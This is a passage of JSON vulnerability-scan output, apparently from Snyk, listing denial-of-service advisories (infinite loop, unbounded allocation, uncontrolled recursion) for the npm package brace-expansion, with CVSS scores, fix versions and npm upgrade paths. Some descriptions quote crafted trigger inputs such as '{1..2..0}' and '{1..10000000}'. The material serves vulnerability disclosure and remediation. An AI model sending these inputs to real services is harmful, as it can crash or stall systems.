"type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "@tufjs/models@4.1.0", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": 